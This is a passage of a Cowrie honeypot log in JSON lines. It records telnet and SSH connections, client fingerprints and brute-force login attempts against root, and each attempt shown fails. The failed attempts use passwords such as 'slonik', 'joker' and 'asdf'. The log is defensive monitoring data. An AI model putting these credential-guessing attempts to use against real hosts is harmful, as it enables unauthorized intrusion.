{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37360,"dst_ip":"10.17.0.5","dst_port":23,"session":"623683104faf","protocol":"telnet","message":"New connection: 152.42.224.71:37360 (10.17.0.5:23) [session: 623683104faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:26.507203Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39642,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba62c5ec3104","protocol":"ssh","message":"New connection: 103.195.236.96:39642 (10.17.0.5:22) [session: ba62c5ec3104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:26.830581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:26.834877Z","src_ip":"103.195.236.96","session":"ba62c5ec3104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:27.190815Z","src_ip":"103.195.236.96","session":"ba62c5ec3104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slonik","message":"login attempt [root/slonik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:28.080754Z","src_ip":"103.195.236.96","session":"ba62c5ec3104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.888469219207764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:28.749492Z","src_ip":"45.179.163.47","session":"6f96d2599620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49668,"dst_ip":"10.17.0.5","dst_port":23,"session":"adcee75002d7","protocol":"telnet","message":"New connection: 152.42.224.71:49668 (10.17.0.5:23) [session: adcee75002d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:28.914899Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:29.325936Z","src_ip":"103.195.236.96","session":"ba62c5ec3104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60720,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d52b23f690","protocol":"telnet","message":"New connection: 152.42.224.71:60720 (10.17.0.5:23) [session: 96d52b23f690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:36.730405Z"}
{"eventid":"cowrie.session.closed","duration":23.64968967437744,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:37.794667Z","src_ip":"152.42.224.71","session":"06a92fa906af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60722,"dst_ip":"10.17.0.5","dst_port":23,"session":"1814eacb7930","protocol":"telnet","message":"New connection: 152.42.224.71:60722 (10.17.0.5:23) [session: 1814eacb7930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:38.528023Z"}
{"eventid":"cowrie.session.closed","duration":88.2084527015686,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:40.388043Z","src_ip":"152.42.224.71","session":"ed7e72b255f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60736,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ed086d351af","protocol":"telnet","message":"New connection: 152.42.224.71:60736 (10.17.0.5:23) [session: 3ed086d351af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:44.408546Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":49914,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d4e02d0230","protocol":"telnet","message":"New connection: 213.108.3.46:49914 (10.17.0.5:23) [session: 19d4e02d0230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:45.081636Z"}
{"eventid":"cowrie.session.closed","duration":0.015229225158691406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:45.096774Z","src_ip":"213.108.3.46","session":"19d4e02d0230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.206114053726196,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:48.734032Z","src_ip":"152.42.224.71","session":"1814eacb7930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.67158055305481,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:49.666050Z","src_ip":"152.42.224.71","session":"570a77d1888e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42308,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f5410c1e910","protocol":"telnet","message":"New connection: 152.42.224.71:42308 (10.17.0.5:23) [session: 4f5410c1e910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:52.408774Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42324,"dst_ip":"10.17.0.5","dst_port":23,"session":"420ec5f8a7fa","protocol":"telnet","message":"New connection: 152.42.224.71:42324 (10.17.0.5:23) [session: 420ec5f8a7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:54.450881Z"}
{"eventid":"cowrie.session.closed","duration":26.40411686897278,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:55.318884Z","src_ip":"152.42.224.71","session":"adcee75002d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06451058387756,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:56.543184Z","src_ip":"152.42.224.71","session":"b2d05beb3345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54494,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea71757e46eb","protocol":"telnet","message":"New connection: 152.42.224.71:54494 (10.17.0.5:23) [session: ea71757e46eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:05.592915Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b916cb2aeda1","protocol":"telnet","message":"New connection: 152.42.224.71:54480 (10.17.0.5:23) [session: b916cb2aeda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:05.649923Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43514,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe2879fa4aa","protocol":"telnet","message":"New connection: 152.42.224.71:43514 (10.17.0.5:23) [session: dbe2879fa4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:09.344127Z"}
{"eventid":"cowrie.session.closed","duration":113.75035738945007,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:15.535136Z","src_ip":"152.42.224.71","session":"9f9b6e07134e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.48782181739807,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:16.218127Z","src_ip":"152.42.224.71","session":"96d52b23f690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39308524131775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:17.801515Z","src_ip":"152.42.224.71","session":"3ed086d351af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.058627605438232,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:20.509378Z","src_ip":"152.42.224.71","session":"420ec5f8a7fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":38694,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b16ed939b6","protocol":"ssh","message":"New connection: 109.172.54.111:38694 (159.203.135.109:22) [session: 51b16ed939b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:21.032747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:21.036642Z","src_ip":"109.172.54.111","session":"51b16ed939b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:21.131144Z","src_ip":"109.172.54.111","session":"51b16ed939b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azamat","message":"login attempt [root/azamat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:21.428895Z","src_ip":"109.172.54.111","session":"51b16ed939b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:22.525345Z","src_ip":"109.172.54.111","session":"51b16ed939b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":47986,"dst_ip":"159.203.135.109","dst_port":22,"session":"deac9e3c075e","protocol":"ssh","message":"New connection: 103.75.183.219:47986 (159.203.135.109:22) [session: deac9e3c075e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:22.834462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:22.839089Z","src_ip":"103.75.183.219","session":"deac9e3c075e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:23.078529Z","src_ip":"103.75.183.219","session":"deac9e3c075e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rtyuehe","message":"login attempt [root/rtyuehe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:23.794982Z","src_ip":"103.75.183.219","session":"deac9e3c075e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:25.037569Z","src_ip":"103.75.183.219","session":"deac9e3c075e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58022,"dst_ip":"10.17.0.5","dst_port":23,"session":"320a640114f6","protocol":"telnet","message":"New connection: 152.42.224.71:58022 (10.17.0.5:23) [session: 320a640114f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:29.568076Z"}
{"eventid":"cowrie.session.closed","duration":28.98186755180359,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:34.631655Z","src_ip":"152.42.224.71","session":"b916cb2aeda1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38036,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2db9a1bd7e","protocol":"ssh","message":"New connection: 103.176.20.57:38036 (10.17.0.5:22) [session: 2b2db9a1bd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:38.985417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:38.989579Z","src_ip":"103.176.20.57","session":"2b2db9a1bd7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:39.239991Z","src_ip":"103.176.20.57","session":"2b2db9a1bd7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd64fa483d61","protocol":"telnet","message":"New connection: 152.42.224.71:44548 (10.17.0.5:23) [session: fd64fa483d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:39.574834Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"joker","message":"login attempt [root/joker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:39.982313Z","src_ip":"103.176.20.57","session":"2b2db9a1bd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:41.230695Z","src_ip":"103.176.20.57","session":"2b2db9a1bd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.624481201171875,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:44.033108Z","src_ip":"152.42.224.71","session":"4f5410c1e910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55768,"dst_ip":"10.17.0.5","dst_port":22,"session":"695a789f5e17","protocol":"ssh","message":"New connection: 51.250.105.222:55768 (10.17.0.5:22) [session: 695a789f5e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:44.507728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:44.512403Z","src_ip":"51.250.105.222","session":"695a789f5e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:44.644265Z","src_ip":"51.250.105.222","session":"695a789f5e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf","message":"login attempt [root/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:45.036418Z","src_ip":"51.250.105.222","session":"695a789f5e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:46.170294Z","src_ip":"51.250.105.222","session":"695a789f5e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45852,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61ed37ba8a4","protocol":"telnet","message":"New connection: 152.42.224.71:45852 (10.17.0.5:23) [session: d61ed37ba8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:46.923365Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.34","src_port":36096,"dst_ip":"10.17.0.5","dst_port":22,"session":"09202c5f5013","protocol":"ssh","message":"New connection: 188.44.20.34:36096 (10.17.0.5:22) [session: 09202c5f5013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:48.879683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:42:48.883807Z","src_ip":"188.44.20.34","session":"09202c5f5013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-